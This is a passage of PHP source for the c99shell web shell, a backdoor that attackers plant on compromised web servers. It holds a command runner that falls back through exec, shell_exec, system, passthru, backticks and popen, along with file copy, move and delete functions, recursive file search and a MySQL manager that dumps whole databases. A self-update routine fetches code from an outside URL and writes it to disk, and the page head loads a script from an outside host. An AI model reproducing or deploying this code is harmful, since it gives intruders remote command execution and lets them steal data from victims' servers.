// 				\/	Next code isn't for editing	\/
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if ($login)
{
 if(empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if ($login_txt === false) {$login_txt = "";}
  elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if (($selfwrite) or ($updatenow))
{
 if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
 c99sh_getupdate();
 $data = file_get_contents($c99sh_updatefurl);
 $fp = fopen($data,"w");
 fwrite($fp,$data);
 fclose($fp);
 exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c99_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len) 
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0, $len)."...".substr($content, -$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return false;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return false;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = true;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return false;}
 }
 else {return false;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return false;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{ 
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
  elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (($result = `$cmd`) !== false) {}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort"))
{
 function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";} 
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400) ? "r" : "-"; 
 $owner["write"] = ($mode & 00200) ? "w" : "-"; 
 $owner["execute"] = ($mode & 00100) ? "x" : "-"; 
 $group["read"] = ($mode & 00040) ? "r" : "-"; 
 $group["write"] = ($mode & 00020) ? "w" : "-"; 
 $group["execute"] = ($mode & 00010) ? "x" : "-"; 
 $world["read"] = ($mode & 00004) ? "r" : "-"; 
 $world["write"] = ($mode & 00002) ? "w" : "-"; 
 $world["execute"] = ($mode & 00001) ? "x" : "-"; 

 if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";}
 if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";}
 if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";}

 return $type.$owner["read"].$owner["write"].$owner["execute"].
        $group["read"].$group["write"].$group["execute"].
        $world["read"].$world["write"].$world["execute"];
}
}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";} 
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";}
 else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
if (!function_exists("c99sh_getupdate"))
{
function c99sh_getupdate()
{
 global $updatenow;
 $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&");
 if (!$data) {echo "Can't fetch update-information!";}
 else
 {
  $data = unserialize(base64_decode($data));
  if (!is_array($data)) {echo "Corrupted update-information!";}
  elseif ($shver < $data["cur"]) {$updatenow = true;}
 }
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = true;}
 if (empty($file))
 {
  global $win;
  if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
  else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = true;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $SERVER_ADDR = getenv("SERVER_ADDR");
 $SERVER_NAME = getenv("SERVER_NAME");
 $out = "# Dumped by C99Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
# Date: ".date("d.m.Y H:i:s")."
# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";\n\n";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
      $values = implode("', '", $values); 
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
      $out .= $sql;
     } 
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------\n\n";
 if ($file)
 {
  $fp = fopen($file, "w"); 
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return false;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== false)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 if (!$win) {$tmpdir = "/tmp/";}
 else {$tmpdir = getenv("SystemRoot");}
}
else {$tmpdir = realpath($tmpdir);}
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "<font color=\"red\">ON (secure)</font>";
}
else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF	
@ini_set("highlight.comment",$highlight_comment); //#FF8000	
@ini_set("highlight.default",$highlight_default); //#0000BB	
@ini_set("highlight.html",$highlight_html); //#000000	
@ini_set("highlight.keyword",$highlight_keyword); //#007700	
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 reset($e);
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = true;
 $wdt = "<font color=\"green\">[ ok ]</font>";
 echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = false;
 $wdt = "<font color=\"red\">[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === false) {$free = 0;}
 if ($total === false) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=\"green\">".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
?></p></td></tr></table><br><?php
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php }
?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = false;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "NO CONNECTION";}
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
